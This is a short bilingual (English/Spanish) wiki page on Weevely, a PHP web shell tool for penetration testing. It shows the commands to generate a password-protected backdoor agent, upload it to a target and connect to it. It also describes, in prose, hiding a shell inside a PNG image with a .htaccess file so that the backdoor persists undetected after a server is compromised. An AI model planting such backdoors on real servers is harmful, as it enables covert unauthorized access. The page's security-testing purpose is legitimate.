WikiTools‎ > ‎

Weevely

Weevely is a command line web shell dynamically extended over the network at runtime, designed for remote server administration and penetration testing.

Its terminal executes arbitrary remote code through the small footprint PHP agent that sits on the HTTP server. Over 30 modules shape an adaptable web administration and post-exploitation backdoor for access maintenance, privilege escalation and network lateral movement, even in restricted environment.


Python tool. No required installation

Uso

Weevely client communicates to the PHP agent installed into the target. Run ./weevely.py to print help.

$ ./weevely.py
[+] weevely 3.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password>

[+] Load session file
    weevely session <path>

[+] Generate backdoor agent

weevely generate <password> <path>

PoC

La forma más sencilla de crear una shell con weevely es a través del comando generate, sin embargo este comando esconde consigo dos modalidades, la de generar una shell en un .htaccess, y la de generar una shell en una imagen. Esta técnica por lo general se suele hacer en el proceso de post-explotación, es decir, una vez que ya hemos obtenido una shell en el server, lo que hacemos en crearnos otra shell oculta para no ser identificados y borrar la que se subió en un principio.

Generate the backdoor agent

To generate a new agent, just use the generate option passing the password and path arguments.

$ ./weevely.py generate mypassword agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.

Then, upload the generated agent under the target web folder. Make sure that the agent PHP script is properly exposed and executable through the web server.


Esto creará una copia de la imagen con una una shell oculta en ella, y por otra parte crea un .htaccess para que el servidor pueda interpretar la extensión .png como código php.

Ahora podemos subir el .htaccess a la raíz del servidor web y la imagen con la shell a donde queramos. Como ya hemos comentado, esto es una tarea de post-explotación, se da por hecho que ya se ha obtenido acceso al servidor y que podemos subir ambos archivos.

Connect to the agent

Launch weevely script to connect to the remote agent.

$ ./weevely.py http://target/agent.php mypassword
weevely> 

The first prompt weevely> is still not connected to allow users to set any useful pre-connection option e.g. set proxies to be used. Running a real command starts automatically the session on the remote target.

Referencias

  • https://github.com/epinna/weevely3/wiki/
  • http://www.kontrol0.com/2014/02/weevely-para-la-post-explotacion.html